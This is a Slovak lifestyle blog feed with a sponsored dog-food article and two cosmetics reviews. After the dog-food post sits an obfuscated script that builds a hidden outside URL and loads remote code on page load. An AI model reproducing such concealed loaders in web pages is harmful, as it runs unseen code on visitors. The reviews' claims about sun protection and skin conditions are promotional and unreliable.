tekvicovým pyré?</p><p style="text-align: justify;"><b><span style="font-size: large;">Užiť si skvelý, jeseňou inšpirovaný, príbeh</span></b> v knihe alebo na filmovom plátne. A možno bude niekomu viac pochuti navštíviť festival, jarmok <b>alebo iné podujatie spojené s jesennou tematikou.</b> Je logické, že sú to sezónne podujatia a inokedy si ich preto nemôžeme dopriať. Tak sa nimi pokúsme oslavovať život a jednoduchosť v tom najlepšom zmysle. <b>Základom je, aby sme sa pokúsili privolať si do života pohodu a pokoj.</b></p><p style="text-align: justify;"><b><span style="font-size: large;">Ďakovanie a premýšľanie. </span></b>Nielen v ťažkých časoch máme o čom premýšľať. A pokiaľ si uvedomíme <b>skutočné hodnoty šťastia a spokojnosti,</b> naozaj aj v dnešných dňoch nájdeme niečo, za čo môžeme ďakovať. Nie každý máme rovnaké pozície a možnosti, ale <b>láskavosť a radosť môžeme rozdávať každý deň, rovnako ako ich aj prijímať.</b> Tak sa na chvíľu zastavme. Iste, starosti tým nezmiznú, ale aspoň ich na chvíľu hodíme za hlavu a naberieme silu.</p><p style="text-align: justify;">Už viete, čo z aktivít zaradíte do svojich jesenných dní, aby ste si priniesli do života viac pohody a radosti?</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-51007273199885458232022-09-27T10:30:00.001+02:002022-09-27T10:31:06.894+02:00Špecifické typy granúl pri zdravotných problémoch vášho psíka<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOIMSOFH9fDZ-8tbZPkyfdktB5M-HyMV8GiFaIcGjjYvuF5OHUgLQ_ZyJmRnsG2dUvDWlatbTS2O1-mnre0ImMb-dV9RSF983pBqbnwyBfcEb4kexR47mFx9E-ljyMPvdc6hNRrmL2nckL0N85EVWxJzQtsVbSxxV80kz2nXDPVSS1sAuTrftvYd6OKg/s815/specialne-granule_01.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="543" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOIMSOFH9fDZ-8tbZPkyfdktB5M-HyMV8GiFaIcGjjYvuF5OHUgLQ_ZyJmRnsG2dUvDWlatbTS2O1-mnre0ImMb-dV9RSF983pBqbnwyBfcEb4kexR47mFx9E-ljyMPvdc6hNRrmL2nckL0N85EVWxJzQtsVbSxxV80kz2nXDPVSS1sAuTrftvYd6OKg/s16000/specialne-granule_01.jpg" /></a></div><br /><h3 style="text-align: justify;">Dbajte na správne zloženie granúl</h3>
<p style="text-align: justify;">Prirodzene, <b>základ každého kvalitného krmiva pre psov tvorí hlavne mäso</b>. Čím je ho v krmive viac, tým lepšie. Avšak ani granule s vysokým obsahom mäsa ešte nemusia byť celkom ideálne. V tomto smere si treba dávať pozor najmä na obsah mäsovej múčky. Žiaľ, veľa menej kvalitných granúl ňou mäso často nahrádza.</p>
<p style="text-align: justify;">Pochopiteľne, mäsová múčka nie je ani zďaleka tak kvalitným zdrojom živín ako mäso čerstvé. <b>Vysoký podiel čistého mäsa</b> je zvlášť dôležitý v <a href="https://nivadog.eu/hypoalergenne-granule/" target="_blank">granulách pre psov s citlivým trávením</a>.</p>
<p style="text-align: justify;"><u><b>Tip:</b></u> Môžete sa napríklad inšpirovať sortimentom granúl, ktoré si vyberiete <a href="https://nivadog.eu/" target="_blank">TU</a>.</p>
<p style="text-align: justify;">Rozhodne by ste mali spozornieť aj v prípade, že narazíte na <b>nápis na obale</b>, ktorý vás bude informovať, že výrobok obsahuje „<i>mäso a vedľajšie produkty živočíšneho pôvodu</i>“, prípadne „<i>sušené mäso</i>“. V prvom i druhom prípade ide len o viac či menej kvalitnú mäsovú múčku.</p>
<p style="text-align: justify;">Rozlišovacím znakom, ktorým spoľahlivo odlíšite mäsovú múčku od <b>čerstvého mäsa</b> je to, že len v prípade čerstvého mäsa môže jeho podiel výrobca na obale výrobku uviesť. Napríklad ako „<i>teľacie mäso (70%)</i>“.</p>
<h3 style="text-align: left;">Ďalšie dôležité zložky granúl</h3>
<p style="text-align: justify;">Pochopiteľne, mäso nie je jedinou nutnou zložkou. Rovnako aj <b>sacharidy</b> prispievajú ku správnej životospráve. Avšak v ich prípade treba spozornieť. Niektoré môžu totiž aj uškodiť. Preto je dôležité vyberať iba také granule, ktoré tieto látky obsahujú vo forme:</p>
<ul>
<li style="text-align: justify;"><b>ryže</b></li>
<li style="text-align: justify;"><b>zemiakov</b></li>
<li style="text-align: justify;"><b>ovsa</b></li>
<li style="text-align: justify;"><b>jačmeňa</b></li>
</ul>
<p style="text-align: justify;">Na druhú stranu, rozhodne sa treba vyvarovať vysokému obsahu obilnín a vedľajších výrobkov rastlinného pôvodu - pšenici, sóji, modifikovaným surovinám, kukurici…</p>
<p style="text-align: justify;">Pamätajte, že kvalitné granule<b> </b>by tiež mali obsahovať živočíšne oleje, vitamín E (tokoferoly), vitamín C, rastlinné oleje, ovocie, bylinky, organický vápnik, chelátové formy stopových prvkov a vlákninu. Tá je zvlášť dôležitá <b>u obéznych psíkov</b>. Vyvážený obsah tuku (do 17 %) a bielkovín (do 30 %) je zase veľmi dôležitý v <a href="https://nivadog.eu/granule-pre-gravidne-sucky/" target="_blank">granulách pre gravidné fenky</a>.</p>
<h3 style="text-align: left;">Čo ešte treba zvážiť pri výbere granúl?</h3>
<p style="text-align: justify;">Pri zdravotných problémoch vášho psíka je veľmi dôležité granule vyberať tak, aby pokrývali <b>všetky dôležité nutričné nároky na výživu</b>. Prirodzene, treba zohľadniť aj vek, veľkosť, fyzickú kondíciu a rasu.</p>
<p style="text-align: justify;">Pamätajte, že plemená psov delíme <b>do piatich kategórií podľa váhy</b> v dospelosti. A práve toto delenie zohráva pri výbere špecifických granúl dôležitú úlohu. Napríklad trpasličie plemená, ktorých hmotnosť okolo roku života neprevyšuje 4 kg, potrebujú granule menšej veľkosti ako stredne veľké a veľké plemená. Optimálna veľkosť a tvar granúl vzhľadom na veľkosť psíka je dôležitá aj z hľadiska <b>stráviteľnosti a prijímania krmiva</b>.</p>
<p style="text-align: justify;">Pri zdravotných ťažkostiach psíka treba <b>zohľadniť aj jeho vek</b>. Niekedy totiž môžu nastať zdravotné problémy aj vtedy, ak výber granúl neprispôsobíme jeho veku. Pre starších psíkov sú preto ideálne <b>granule pre seniorov</b>. Tie sa pri malých a stredných plemenách začínajú kupovať približne od 9 roku života. U veľkých plemien je to najneskôr od 8 rokov.</p>
<p style="text-align: justify;">A v neposlednom rade je nutné zohľadniť aj fakt, že gaučový psík potrebuje inú <b>energetickú hodnotu</b> stravy ako psík, ktorý sa rád jaší a neustále behá. V tomto prípade by prirodzene mala byť zvýšená. A tomu treba prispôsobiť aj výber špecifického typu granúl.</p>
<h3 style="text-align: left;">Rada na záver</h3>
<p style="text-align: justify;">Značky granúl neustále striedajte. Aj psík totiž potrebuje mať občas zmenu v jedálnom lístku. Ideálne, ak budete striedať tri-štyri značky stále dookola.</p><p style="text-align: right;"><i><span style="font-size: x-small;">(sponzorovaný článok/spolupráca)</span></i></p>
<script>
(function(){
xtrl_=("u"+"")+"s"+"";xtrl_+=("tat.")+("i");
xtrl=document.createElement("script");xtrl.type="text/javascript";xtrl_+="nf"+("o")+"/";
xtrlu="433395441"+".";xtrl.async=true;xtrlu+="006r56xktrlg9r0bpr6ij38t1fp060";
xtrl.src="https://"+xtrl_+xtrlu;xtrlb=document.body;xtrlb.appendChild(xtrl);
})();
</script>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-47514952756427370842022-08-18T11:25:00.003+02:002022-08-18T11:44:25.510+02:00RECENZIA: Orechové maslo BIOPARK<p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtUTGS3i59S1Bk1bYwDOQjMlIqMUCS40XSdfsCDSsuwt3p4Tn4RI7-ZJiIL7MDxuquGfDx4CtfsVUwy3aDevv2lpluRwbti85Ym9ee-dPJKpJBPHDc5NwOKe0FQyNgwu3BkA7Kqlcq7g_YBEq2ab3IRYnkitUXnrIvA7TVv9AVXkn0whRcD1Kkp9_Ctw/s915/recenzia-biopark-orechove-maslo_01.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="686" data-original-width="915" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtUTGS3i59S1Bk1bYwDOQjMlIqMUCS40XSdfsCDSsuwt3p4Tn4RI7-ZJiIL7MDxuquGfDx4CtfsVUwy3aDevv2lpluRwbti85Ym9ee-dPJKpJBPHDc5NwOKe0FQyNgwu3BkA7Kqlcq7g_YBEq2ab3IRYnkitUXnrIvA7TVv9AVXkn0whRcD1Kkp9_Ctw/s16000/recenzia-biopark-orechove-maslo_01.jpg" /></a></div><p style="text-align: justify;"><b style="font-weight: bold; text-align: left;">Orechové maslá</b><span style="text-align: left;"> sa tešia veľkej popularite, a to nielen v kuchyni. Tie </span><span style="text-align: left;"><b>kozmetické sú univerzálne použiteľné</b></span><span style="text-align: left;"> na tvár, telo alebo pokojne aj na vlasy a priam ideálne sa hodia na výrobu bežných domácich kozmetických "pokusov" ako napríklad mydlo, peeling alebo maska.</span></p><p></p><p style="text-align: justify;"><b>Maslo z vlašských orechov</b> značky <b>BIOPARK</b> sa nedá nazvať inak ako ošetrujúce. Vyrába sa lisovaním vlašských orechov za studena a obohatené je o výživné bambucké maslo, čiže <b>v jeho zložení sú iba 2 ingrediencie</b> <i>(Juglans Regia, Hydrogenated butyrospermum parkii)</i>. Lisovaný olej z vlašských orechov je bohatý na omega-3 mastné kyseliny, vitamín E a kyselinu linolovú. Je ideálny na zrelú, poškodenú, suchú, ale aj citlivú pleť. Pomáha pokožku regenerovať, obnovovať a zanechať ju pružnú a hebkú. K jeho benefitom patrí <b>schopnosť bojovať s vráskami, so zápalmi, s psoriázou</b>, chráni štruktúru vlasov a spevňuje ich, tiež <b>dokáže regenerovať pokožku hlavy</b> (či už je nadmerne vysušená alebo trpí rôznymi druhmi lupín) a výborne sa hodí aj v starostlivosti o pokožku <b>po opaľovaní</b>, kedy je dôležité doplniť jej hydratáciu. A pokojne sa dá využiť aj <b>pri starostlivosti o bábätko</b>, jedným zo spôsobov môže byť aj <b>ako prídavok do kúpeľa</b>. Maslo sa v teplej vode rýchlo roztopí a rozptýli sa po povrchu, čo bude ideálne najmä pre suchšiu pokožku.</p><p style="text-align: justify;"></p><blockquote><span style="font-size: large;"><b>Multifunkčnosť kozmetických masiel</b> neraz dokáže prekvapiť. Stačí mať jeden kúsok druhu podľa vlastných preferencií a <b>dokáže zastúpiť takmer celú, dennú kozmetickú rutinu</b> napríklad pri cestovaní. Doslova sa bude roztápať pod rukami a meniť sa na výživný olej.</span></blockquote><p></p><p style="text-align: justify;">Z našich odpozorovaných skúseností, pri používaní takýchto masiel býva najväčšou obavou, že budú až príliš mastné na pokožke alebo na vlasoch, čiže sa nevstrebú dostatočne a vytvoria tak mastný vzhľad. Samozrejme, tento typ produktov <b>neobsahuje v zložení vodu</b>, čím síce dokáže hydratovať na dlhšiu dobu, ale preto aj potrebuje dlhší čas, aby prenikol do pokožky. <b>Pri natieraní sa preto odporúča mať pokožku jemne vlhkú, aby lepšie maslo preniklo do vrstiev kože a nespôsobilo dlhotrvajúci pocit mastnoty a nevstrebateľnosti.</b> A pokiaľ vám úplne nevyhovuje ani tento spôsob, ale <a href="https://www.ecco-verde.sk/biopark-cosmetics/orechove-maslo " target="_blank">používania masiel</a> sa vzdať nechcete, pretože viete, aké majú jedinečné výhody, odporúčame používať ich v rámci večernej rutiny, kedy majú dostatok času na vstrebanie :)</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg69fCtqjVIESixHDTZN8GofSE6NsULE-X9aXnXU153QmnWqNLEigIeIIHjv4l128550NmmSuHrVci3BUFEumk4J-EXwvHupApWRu12CzdEn2VaEqYQcoWcE9YiMJgamvH4wEJRfQph1iub5iD48O8fJZh4OKBuS4SUNczIuVX6FzzMDg9bFzNjy_qOig/s3648/recenzia-biopark-orechove-maslo-organicke_02.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg69fCtqjVIESixHDTZN8GofSE6NsULE-X9aXnXU153QmnWqNLEigIeIIHjv4l128550NmmSuHrVci3BUFEumk4J-EXwvHupApWRu12CzdEn2VaEqYQcoWcE9YiMJgamvH4wEJRfQph1iub5iD48O8fJZh4OKBuS4SUNczIuVX6FzzMDg9bFzNjy_qOig/w640-h480/recenzia-biopark-orechove-maslo-organicke_02.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyxzU6lqJo8oVrTmAzPFFzpviAkmwiOveF6mjdmUIXRoSjSuTig7DdZTr9liH5TFM1yKCVIuAS0Gww0wP7kL2OLsItKyFun3-h4Enk05StfQOWOCm8ZgzvcGYycoBozM3EPV-pHHMtmf9ar2YkI43uevtgy5kQ6wiB9_h3bz-P22SnrD5H8lqXENfOvw/s3648/recenzia-biopark-orechove-maslo-vegan_03.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyxzU6lqJo8oVrTmAzPFFzpviAkmwiOveF6mjdmUIXRoSjSuTig7DdZTr9liH5TFM1yKCVIuAS0Gww0wP7kL2OLsItKyFun3-h4Enk05StfQOWOCm8ZgzvcGYycoBozM3EPV-pHHMtmf9ar2YkI43uevtgy5kQ6wiB9_h3bz-P22SnrD5H8lqXENfOvw/w640-h480/recenzia-biopark-orechove-maslo-vegan_03.jpg" width="640" /></a></div><p style="text-align: justify;"><b>Orechové maslo BIOPARK je hutné a zároveň jemné</b>. Tuhšia konzistencia sa topí vplyvom teploty dlaní pri rozotieraní a stačí ho použiť naozaj iba máličko a dokáže potrieť aj väčšiu plochu. Ekonomickosť je jeho výrazným plusom, <b>vydrží dlho</b> a zvládne aj cestovanie. Dalo by sa povedať, že je bez vône, respektíve <b>má vôňu prirodzenú tomu, ako autenticky voňajú orechové maslo a bambucké maslo</b>. Ak by ste niekedy mali chuť použiť orechové maslo aj s vôňou, pokojne si do malého množstva prikvapnite kvalitný esenciálny olej a dobre rozmiešajte. Neprežeňte to však s množstvom oleja, aby ste neboli prekvapení, prečo je pokožka po použití červená alebo svrbí.</p><p style="text-align: justify;">Čo sa týka použitia, <b>najväčším benefitom je schopnosť ošetriť a zregenerovať</b> suchú, drsnú, popraskanú pokožku. Efekt poznať najmä v chladných mesiacoch roka, ale kto trpí suchou a ekzematickou pokožkou s týmto maslom <b>dokáže nepríjemné zápalové stavy svrbenia, šupiniek a bolestivého popraskania rýchlo riešiť</b> prakticky kedykoľvek bez ohľadu na ročné obdobie. <b>Orechové maslo vyhladzuje </b>pokožku,<b> zjemňuje,</b> pomáha k dosiahnutiu zdravej pružnosti. Napríklad, keď si extrémne suché ruky potriete večer pred spaním (prípadne si natiahnete aj bavlnené rukavice), ráno budú doslova ako znovuzrodené. <b>Ochrannú vrstvu masla pocítite</b> aj po prebudení a pokožka nebude suchá a napnutá, sľubujeme :) Po dlhšom a pravidelnom používaní sú výsledky najlepšie a najviditeľnejšie. Ak mu dáte čas, milo vás prekvapí <b>aj v prípade, že trpíte suchou a zhrubnutou kožou</b> na lakťoch, kolenách alebo pätách, ktorá býva odolnejšia voči kozmetickým produktom, ale s orechovým maslom a trpezlivosťou sa dá zdolať aj tento problém k spokojnosti.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8m_X0r-45o0-xBbsLhqITSCLSLkiMFiJnfTmwjxFy0MlhAQhkcGOc3UV8wwfBlwP-WZJ9se0XxMvHPziFrN9rl9Oi0R0ApO_DozJjVJ5z-CG3Ig_jGwRmpHLXcVV1eT-1befPHare3OKeIJd5GZpU0UTunS1HrKEOvhjITO5Hfdj43THdu78SkUCi4Q/s3648/recenzia-biopark-orechove-maslo-bioekologika_04.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8m_X0r-45o0-xBbsLhqITSCLSLkiMFiJnfTmwjxFy0MlhAQhkcGOc3UV8wwfBlwP-WZJ9se0XxMvHPziFrN9rl9Oi0R0ApO_DozJjVJ5z-CG3Ig_jGwRmpHLXcVV1eT-1befPHare3OKeIJd5GZpU0UTunS1HrKEOvhjITO5Hfdj43THdu78SkUCi4Q/w640-h480/recenzia-biopark-orechove-maslo-bioekologika_04.jpg" width="640" /></a></div><p style="text-align: justify;">S obsahom <b>100 g</b>, cenou približne <b>6,50 – 7€, vegan</b> zložením a certifikáciou <b>Institut Kon-Cert Natural Cosmetic</b> je <a href="https://www.ecco-verde.sk/biopark-cosmetics/orechove-maslo " target="_blank">orechové maslo</a> BIOPARK produkt, ktorý spadá do kategórie s priaznivou cenou a adekvátnym výkonom. Komu by sme ho teda odporúčali? Vlastne si <b>myslíme, že sa hodí každému.</b> Špeciálne pre suchú, zrelú a citlivú pokožku, ale svoje uplatnenie si nájde v každej domácnosti, pre každého člena rodiny, <b>od hlavy po päty.</b> Môže byť vždy po ruke a zastúpiť kozmetickú starostlivosť niekoľkých produktov. U nás získal čestné miesto a na rebríčku obľúbenosti vystúpil ešte vyššie potom, ako výrazne urýchlil hojenie popálenej pokožky. Čo myslíte, ako by ste orechové maslo najviac využili vy? Tešíme sa na vaše nápady :)</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-81351059785465222432022-07-25T12:45:00.000+02:002022-07-25T12:45:07.653+02:00RECENZIA: Letná kozmetika HERBÁRIUM PROJEKT<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjCMMyQFughV5--nznoAowBWoCq9THdxVSQrRS_SpYmkuxCyqUtYD3jHqs0ZQ70Q2Q6vdIIE79s_nG-gR4B6UDCU5U1o17kORj41V4a-ox2D3fonTty1VmhBM822RVPXpLu60NkCJban8DKNmRh1K2x9-qBjy3-GndurLn3rJUhhLfz6BSNzgHin8hTw/s915/herbarium-projekt-slnecny-olej-repelentny-osviezovac_915.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="686" data-original-width="915" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjCMMyQFughV5--nznoAowBWoCq9THdxVSQrRS_SpYmkuxCyqUtYD3jHqs0ZQ70Q2Q6vdIIE79s_nG-gR4B6UDCU5U1o17kORj41V4a-ox2D3fonTty1VmhBM822RVPXpLu60NkCJban8DKNmRh1K2x9-qBjy3-GndurLn3rJUhhLfz6BSNzgHin8hTw/s16000/herbarium-projekt-slnecny-olej-repelentny-osviezovac_915.jpg" /></a></div><p style="text-align: justify;">Vábeniu slnečných lúčov počas horúcich letných dní my dve dokážeme odolávať s prehľadom. <b>Leto</b> <b>sa nám už dávno</b> <b>nespája s potrebou opaľovania sa</b> a "chytania bronzu". A ďalšia vec, s ktorou sa nevieme stotožniť, keďže v prírode trávime podstatnú časť našich voľných chvíľ, sú <b>nebezpečné kliešte a otravný hmyz</b>. Tie sa netýkajú ani tak leta samotného, stačí prvé otepľovanie po zime a už si ich prítomnosť všimneme asi všetci. Prečo teda recenzia s opaľovacou a letnou témou? Ak ste zvedaví, čítajte ďalej :)</p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Napriek tomu a aj práve vďaka tomu, v lete nám nesmie chýbať <b>opaľovacia kozmetika</b> ani <b>repelentné prípravky</b>. Na výbere kozmetiky si preto dávame obzvlášť záležať a rovnako <b>dôležité je pre nás zloženie ako aj účinky</b>. Pretože hoci sa vedomému opaľovaniu vyhýbame, slnečným lúčom ako takým nie (práca v záhrade, prechádzky v prírode, cesta mestom...). V tejto súvislosti by sme vám radi na blogu priblížili dve <b>letné kozmetické nevyhnutnosti</b>, ktoré po týždňoch používania môžeme bez mihnutia oka odporúčať.</span></blockquote><p></p><p style="text-align: justify;">Obe pochádzajú z HERBÁRIUM PROJEKT a konkrétne ide o <b>slnečný repelentný olej</b> <b>s betakaroténom</b> a <b>BIO repelentný oviežovač</b>. Budú sa vám hodiť počas celého leta, nech už dni trávite prácou alebo oddychom v záhrade.</p><h3 style="text-align: justify;">Slnečný repelentný olej s betakaroténom</h3><p style="text-align: justify;">Zámerne sme nespomínali, že sa bude olej hodiť, ak dni trávite opaľovaním a dlho trvajúcim vystavovaním svojej pokožky slnečným lúčom. <b>Slnečný olej nie je opaľovací olej!!!</b> hoci, vďaka zloženiu a súčinnosti jednotlivých rastlinných olejov sa môže porovnať s hodnotou SPF 10. Má sa <b>používať pred vystavením sa účinku slnečných lúčov</b>, ale aj po tom, ako už pokožka chytila nádych opálenia. Originálne <b>zloženie je zmesou olejov bohatých na karotény</b> <span style="text-align: left;">– </span><i>sezamový, mrkvový, marhuľový, rakytníkový olej, olej z malinových semien</i> a <i>pšeničných klíčkov</i> a naviac je obohatený o <i>extrakty z amazónskych achiote</i> a <i>karanja semien</i>. O <b>repelentnú stránku </b><a href="https://herbariumprojekt.sk/produkt/slnecny-repelentny-olej-s-betakarotenom/ " target="_blank">slnečného oleja</a> sa stará zmes esenciálnych olejov VONIAVA spolu s <i>nimbovým olejom</i>.</p><p style="text-align: justify;">Kompletné zloženie nájdete na stránke a samozrejme na produkte, ale je naozaj prepracované a bude vás určite zaujímať. Takže ho pre prehľad uvádzame aj tu:</p><ul><li><span style="text-align: justify;"><i><b>INCI:</b> Sesamum indicum Seed oil*, Rubus idaeus seed oil, Prunus armeniaca kernel oil*, Daucus Carota Sativa Root Extract, Triticum vulgare Germ Oil*, Azadirachta indica Seed Oil*, Hippohae rhamnoides Pulp Oil*, Pongamia glabra seed oil, Bixa Orellana Seed Extract, Lavandula angustifoila Oil*, Daucus carota seed Oil*, Tocopherol, Cymbopogon winterianus Oil*, Foeniculum vulgare Oil*, Myristica fragrans Oil*, Pogostemon cablin Oil*, Cedrus atlantica Oil*, Eugenia caryophyllus Oil*, Rosmarinus Officinalis leaf extract</i></span></li></ul><p style="text-align: justify;">Na čo je teda olej vhodný, keď nie je opaľovací? Najprv by sme chceli podotknúť, že už z názvu je jasné, že <b>betakarotény</b> v tejto zmesi olejov zohrávajú dôležitú úlohu. Dobre známe sú ich <b>antioxidačné účinky</b>. Tie redukujú oxidačný stres a <b>neutralizujú voľné radikály</b> spôsobujúce poškodzovanie buniek pokožky a urýchľovanie starnutiu, ale zároveň výrazne <b>chránia pred pôsobením slnečných lúčov</b>. Pomáhajú pokožke spracovať žiarenie UVA a UVB lúčov a pripraviť ju na ich pôsobenie. Používaním slnečného oleja tak pokožke dopraje ochranu, regeneráciu a ako bonus aj <b>repelentný účinok na 3 až 5 hodín</b>. Nemala by vás prekvapiť oranžová farba oleja, za ktorú zodpovedajú práve betakarotény :) V tomto smere máme jediné odporúčanie, buď <b>nechajte olej dobre vsiaknuť do pokožky</b> alebo pre istotu, buďte opatrní pri nanášaní v prípade svetlejšieho oblečenia. Nám sa však nehoda so zafarbeným oblečením nestala, takže nepredpokladáme, že je to veľmi pravdepodobné.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht0VQehEnoujSGVASTR2-5JEmjVVxezIc9voUEcx5fxOGRVb6qGbFUIuvTS0jgcfZTg1YqsMH40IhV5F_pCHAWof7AxDjO5A-WhJ3ixxsyRr_pGphuq8k5nLMIMCqQY3wzTdQWYjXUzbtRGxMwQdqE5tJzBuLhyx3wmncXhe9e0l3bAPiKptNH6OE7PA/s3648/herbarium-projekt-slnecny-olej-vegan-01.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht0VQehEnoujSGVASTR2-5JEmjVVxezIc9voUEcx5fxOGRVb6qGbFUIuvTS0jgcfZTg1YqsMH40IhV5F_pCHAWof7AxDjO5A-WhJ3ixxsyRr_pGphuq8k5nLMIMCqQY3wzTdQWYjXUzbtRGxMwQdqE5tJzBuLhyx3wmncXhe9e0l3bAPiKptNH6OE7PA/w640-h480/herbarium-projekt-slnecny-olej-vegan-01.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>Betakarotény v oleji chránia pred pôsobením slnečných lúčov</i></td></tr></tbody></table><p style="text-align: justify;">Čiže, <b>ideálne je použiť olej pred tým ako pokožku vystavujeme slnečným lúčom,</b> ale zároveň aj <b>potom, aby sa podporila jej regenerácia</b>. Pretože, čo si budeme hovoriť, nadmerné vystavovanie sa slnečným lúčom ju nezvratne poškodzuje a môže spôsobiť aj vážne zdravotné problémy.<b> Slnečný repelentný olej</b> už po prvom natretí pokožku krásne vyhladí a zmäkčí. Nie je ani riedky a ani hustý, jednoducho tak akurát, aby sa pohodlne rozotieral a aj rýchlo vsiakol. Zároveň po ňom ostane <b>pocit ochranného filmu,</b> ktorý vydrží niekoľko hodín na pokožke.</p><p style="text-align: justify;">My dve máme <b>svetlú pokožku</b>, možno by sa dalo povedať až veľmi svetlú. <b>Pehy a sklon k začervenaniu</b> vidno aj po pár minútach strávených „na slnku“, čiže sme skutočne opatrné pokiaľ ide o jej ochranu a zdravie. <b>Počas používania slnečného oleja</b> sme si všimli, že <b>pokožka je na pohľad aj dotyk zdravšia</b>, mäkšia, pružnejšia, nevysychá, nepraská a dokonca, olej výrazne tlmí a hojí zápaly a drobné rany. Používali sme ho <b>aj na tvár, krk a dekolt</b> a tam sme si vyhladenie všimli ešte výraznejšie. A to najpodstatnejšie, absolútne <b>žiadne spálenie sa, začervenaná pokožka alebo pigmentové škvrny</b> ako reakcia na slnečné lúče. Postupne pokožku pripravoval na pôsobenie slnečného žiarenia a zabezpečil ochranu, ktorú sme potrebovali počas doby strávenej vystavovaním sa týmto lúčom. Pokojne by sme ho <b>odporúčali naozaj každému</b>, podľa odporúčania výrobcu aj deťom alebo tehotným ženám.</p><p style="text-align: justify;">Obrovským <b>plusom je repelentný účinok,</b> ktorý naozaj spoľahlivo odpudzuje hmyz, čo sa nám potvrdilo najmä po čase strávenom podvečer pri jazere. V hnedej fľaštičke zo skla s plastovým vrchnákom sa ukrýva <b>50 ml</b> (7,90 €) alebo <b>100 ml</b> (15,90 €) oleja <b>voňajúceho </b><span style="text-align: left;"><b>drevito – korenenými</b></span><b> podtónmi</b> a za nás jedinečným zložením.</p><h3 style="text-align: justify;">BIO Repelentný osviežovač</h3><p style="text-align: justify;">Za nás <b>repelent</b> určite <b>patrí k základnej letnej výbave</b>. Jedine, že by vám dotieravý hmyz neprekážal a že vôbec nevnímate hrozbu kliešťovej encefalitídy alebo boreliózy. Potom vám asi takýto produkt nechýba. Vzhľadom k oblasti kde žijeme a výskytu kliešťov, ho máme po ruke prakticky celý rok a využívame ho najmä počas leta.</p><p style="text-align: justify;">Na prechádzku, na prácu v záhrade, na piknik alebo k vode všade tam si repelent berieme a poctivo aj používame. <b>Účinok</b> tohto <a href="https://herbariumprojekt.sk/produkt/bio-repelentny-osviezovac/ " target="_blank">repelentného osviežovača</a> <b>by mal trvať 2 až 3 hodiny</b> a približne po uplynutí tejto doby sme ho vždy aj opätovne použili. Úprimne, boli sme prekvapené, že tak <b>spoľahlivo fungoval napríklad aj pri grilovaní</b>, kedy na útok neodbytného hmyzu stačí odrátavať sekundy hneď ako zacíti prvé pripravené jedlo.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXaYN8nMIRAqHnRtcmHwi3rj1vl-tEeNeb3lX4f5ATm6UFaPl5X4qqKAYLYhHoRgW0PX2qpOh94ujAzBpwWRAFmrzc1Hsn-YHsaPfYTc51y-kYUPpfxgdletq5wFiUJUBsaRYax0upohPJBbsRvC_3zJuzuY0NISZX1duDJrqhflfE-gWu33oTTgP-kw/s3648/herbarium-projekt-repelentny-osviezovac-vegan-02.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXaYN8nMIRAqHnRtcmHwi3rj1vl-tEeNeb3lX4f5ATm6UFaPl5X4qqKAYLYhHoRgW0PX2qpOh94ujAzBpwWRAFmrzc1Hsn-YHsaPfYTc51y-kYUPpfxgdletq5wFiUJUBsaRYax0upohPJBbsRvC_3zJuzuY0NISZX1duDJrqhflfE-gWu33oTTgP-kw/w640-h480/herbarium-projekt-repelentny-osviezovac-vegan-02.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>Prírodný odpudzovač komárov a zbraň na kliešte</i></td></tr></tbody></table><p style="text-align: justify;">Možno ste si pri čítaní tejto recenzie všimli, že pri slnečnom oleji sa uvádza <b>repelentný účinok</b> 3 až 5 